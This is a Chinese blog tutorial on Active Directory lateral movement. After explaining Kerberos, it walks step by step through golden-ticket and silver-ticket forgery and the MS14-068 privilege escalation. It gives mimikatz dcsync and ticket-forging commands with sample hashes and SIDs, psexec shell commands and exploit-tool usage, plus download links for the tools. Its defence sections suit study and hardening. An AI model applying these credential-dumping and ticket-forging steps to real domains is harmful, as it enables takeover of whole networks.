域渗透-横向移动(PTT)

一:Kerberos域认证简述

Kerberos是一种认证机制。目的是通过密钥系统为客户端/服务器应用程序提供强大的可信任的第三方认证服务:保护服务器防止错误的用户使用,同时保护它的用户使用正确的服务器,即支持双向验证。kerberos最初由MIT麻省理工开发,微软从Windows 2000开始支持Kerberos认证机制,将kerberos作为域环境下的主要身份认证机制,理解kerberos认证协议是域渗透的基础。

1.1:Kerberos认证框架

  • kerberos机制中主要包含三个角色:Client、Server、KDC(Key Distribution Center)密钥分发中心
  • Client代表用户,用户有自己的密码,Server上运行的服务也有自己的密码,KDC是受信任的三方认证中心,它拥有用户和服务的密码信息。
  • KDC服务默认会安装在域控中,Client想要访问Server的服务(xxx service),前提是通过KDC认证,再由KDC发放的票据决定Client是否有权限访问Server的服务。
  • KDC 服务框架中包含一个 KRBTGT 账户,它是在创建域时系统自动创建的一个账号,你可以暂时理解为他就是一个无法登陆的账号,在发放票据时会使用到它的密码 HASH 值。

1.2:名词解析

  1. KDC(Key Distribution center):密钥分发中心,在域环境中,KDC服务默认会安装在域控中。
  2. AS(Authentication Service):认证服务,验证client的credential(身份认证信息),发放TGT。
  1. TGT(Ticket Granting ticket):票据授权票据,由KDC的AS发放,客户端获取到该票据后,以后申请其他应用的服务票据(ST)时,就不需要向KDC的AS提交身份认证信息(credential),TGT具有一定的有效期。由 KBRTGT HASH 加密的 sessionkey-as 和 Timestamp 等信息。TGT=KBRTGT HASH()
  2. TGS(Ticket Granting Service):票据授权服务,验证TGT,发放ST。
  1. ST(Service Ticket):服务票据,由KDC的TGS发放,是客户端应用程序访问Server某个服务的凭证,Server端验证通过则完成Client与Server端信任关系的建立。
  2. Session key:用来加密client和TGS之间传输的数据。
  1. Server session key:用来加密client和server之间传输的数据。

1.3:简单认证流程

首先Client想要访问Server的某个服务,就需要通过KDC的认证,获取到服务票据(ST),服务会验证服务票据(ST)来判断Client是否通过了KDC认证。为了避免Client每次访问Server的服务都要向KDC认证(输入密码),KDC设计时分成了两个部分,一个是AS,另一个是TGS;AS接收Client的认证信息,认证通过后给Client发放一个可重复使用的票据TGT,后续Client使用这个TGT向TGS请求ST即可。

二:PTT之黄金票据

2.1:黄金票据原理

在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个Session key_AS和TGT,而Session key_AS并不会保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash(也就是KDC hash),就可以伪造TGT和Session key_AS来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。因为krbtgt只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门。

如下图所示,与域控制器没有AS-REQ或AS-REP(步骤1和2)通信。由于黄金票据是伪造的TGT,它作为TGS-REQ的一部分被发送到域控制器以获得服务票据。

特点:不需要与AS进行交互,需要用户krbtgt的Hash

2.2:黄金票据伪造实验

***实验条件***

  • 要与DC通信
  • 域的SID 值
  • 需要krbtgt用户的hash(也就是说要拿下域控制器)

***实验环境***

角色

域控

域内客户机

系统

Windows server 2008R2

Windows 7 Sp1

IP地址

192.168.1.254

192.1681.122

第一步:客户机访问域控资源并在域控中使用mimikatz抓取krbtgt的hash

mimikatz64位下载地址:链接:https://pan.baidu.com/s/1o1x055quGt9ycEWEtZxJqQ 
提取码:wars

32位下载地址: 链接:https://pan.baidu.com/s/1I6wUEVgGX77oToix4BIAgw 
提取码:wars

lsadump::dcsync /user:krbtgt

第二步:提取出里面的sid和NTLM hash并在win7客户端使用mimikatz制作票据

SID:S-1-5-21-1857385675-1251677193-2455287388-502

KBRTGT NTLM HASH:59034ceb8b9fa80cd755e4ab2f27c01c

1  kerberos::golden /admin:需要伪造的用户名 /domain:域名 /sid:sid /krbtgt:krbtgt的ntml hash /ticket:administrator.online
2  /ticke参数是要存储的名字,方便后面导入

第三步:清空现有票据并将票据注入内存

第四步:查看当前会话中票据

第五步:权限验证

第六步:尝试使用psexec.exe域控建立cmd交互式shell,成功获得域控cmd权限,并且是最高权限。

psexec64 \\dc.laosec.cn cmd.exe

//psexec下载地址:64位:链接:https://pan.baidu.com/s/1UMPFDhlcviNHa3iT2m8Z6w 
提取码:mask

// 32位:          链接:https://pan.baidu.com/s/1BK80KN6-dJbcu6FJBOL_Sg 
提取码:mask

三:PTT之白银票据

3.1:白银票据原理

如果说黄金票据是伪造的TGT,那么白银票据就是伪造的ST。在Kerberos认证的第三大步,Client带着ST和Authenticator3向域上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问server上的指定服务了。所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。

3.2:白银票据伪造实验

***实验条件***

  • 不需要与KDC进行交互
  • 需要server的NTLM hash

***实验环境***

3.2:白银票据伪造实验

***实验条件***

  • 不需要与KDC进行交互
  • 需要server的NTLM hash

***实验环境***

角色

域控

域内客户机

系统

Windows server 2008R2

Windows 7 Sp1

IP地址

192.168.1.254

192.1681.122

第一步:获取到DC Server的NTLM Hash

第二步:获取本地SID并伪造票据

银票和金票差不多,需要sid和hash,其中用户名可以随便写服务类型可以从以下内容中来进行选择,因为我们没有TGT去不断申请ticket,所以只能针对某一些服务来进行伪造。

1  kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt
2  kerberos::golden /domain:laosec.cn /sid:S-1-5-21-1857385675-1251677193-2455287388-1104 /target:dc.laosec.cn /service:cifs /rc4:8081ad9a1ceff657275df58f2f0c96b0 /user:administrator /ptt

服务注释

服务名

WMI

HOST、RPCSS

Powershell Remoteing

HOST、HTTP

WinRM

HOST、HTTP

Scheduled Tasks

HOST

LDAP 、DCSync

LDAP

Windows File Share (CIFS)

CIFS

Windows Remote ServerAdministration Tools

RPCSS、LDAP、CIFS

查询sid

mimikatz进行提权

白银票据进行制作

kerberos::klist进行票据查询

image.png

 第三步:权限验证

image.png

 第四步:Psexec连接DC获取交互式shell并反弹到CS

psexec \\hostname  cmd.exe   

image.png

image.png

3.3:白银票据防御

  • 尽量保证服务器凭证不被窃取
  • 开启PAC (Privileged Attribute Certificate) 特权属性证书保护功能,PAC主要是规定服务器将票据发送给kerberos服务,由 kerberos服务验证票据是否有效。

***PAC开启方式***

在注册表中HKEY_LOCAL_MACHINE\SYSTEM \ CurrentControlSet\Control\Lsa\Kerberos\ParametersValidateKdcPacSignature设置为1。

四:票据总结

4.1:金票与银票区别

黄金票据

白银票据

访问权限

伪造TGT,可以获取任何Kerberos服务权限

伪造TGS,只能访问指定的服务

加密方式

由Kerberos的KRBTGT用户的NTLM Hash加密

Silver Ticket由计算机NTLM Hash加密

4.2:攻击防御视角

  • 黄金票据:从攻击面来看,获取krbtgt用户的hash后,可以在域中 进行持久性的隐藏,并且日志无法溯源,但是需要拿到DC权限, 使用黄金票据能够在一个域环境中长时间控制整个域。
  • 从防御角度来看,需要经常更新krbtgt的密码,才能够使得原有的 票据失效。最根本的办法是不允许域管账户登录其他服务器。
  • 白银票据:从攻击面来看,伪造白银票据的难度比伪造黄金票据的 难度较小,因为一个域中的服务器如果对外的话,非常容易被入侵, 并且容易被转储Server。
  • 从防御角度来看,需要开启PAC认证,但这会降低认证效率,增加DC的负担,最根本的还是要加固服务器本身对外的服务。

五:MS14068域提权漏洞

5.1:漏洞原理

该漏洞可能允许攻击者将未经授权的域用户账户的权限,提权到域管理员的权限。

***漏洞原理***

服务票据是客户端直接发送给服务器,并请求服务资源的。如果服务器没有向域控dc验证pac的话,攻击者可通过伪造 PAC,修改 PAC 中的SID,导致 KDC 判断攻击者为高权限用户,从而导致权限提升漏洞的产生。

***PAC概念***

PAC 的全称是Privilege Attribute Certificate(特权属性证书)。可以理解为火车有一等座,也有二等座,而PAC 就是为了区别不同权限的一种方式。

5.2:漏洞复现

***实验环境***

角色

域控

域内客户机

系统

Windows server 2008R2

Windows 7 Sp1

IP地址

192.168.1.254

192.168.1.122

***利用条件***

  • 域控没有打MS14-068的补丁(KB3011780)
  • 攻击者拿下了一台域内的普通计算机,并获得普通域用户以及密码/hash值,以及用户的suid

***准备工具***

mimkatz:...

ms14-068.exe:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

***复现步骤***

第一步:查看域控否是打上MS14068补丁(KB3011780)-->systeminfo

第二步:在Win7上测试普通域用户访问域控C盘共享,访问被拒绝

第三步:利用ms14-068.exe提权工具生成伪造的Kerberos协议认证证书:TGT_laosec@laosec.cn.ccahe

MS14-068.exe -u <userName>@<domainName> -p <clearPassword> -s <userSid> -d <domainControlerAddr>
-u 域账号+@+域名称,这里是laosec@laosec.cn
-p 当前用户的密码,即laosec的密码
-s 为laosec的SID值,通过whoami/all来获取用户的SID值
-d 为当前域控,即dc.laosec.cn

第四步:将内存中已有的Kerberos票据清除,并将新的票据写入,从而提升为域名管理员

第五步:访问域控C盘共享,测试权限并使用psexec获取shell

5.3:漏洞防御

此漏洞是一个 14 年的漏洞,多数产生在 windows server 2008 和 windows server 2003 的域环境中,所以安全补丁早已可以下载安装,用户可以通过在域控上安装 KB3011780 补丁来规避风险。

以上内容参考资料

  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

种树人1

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值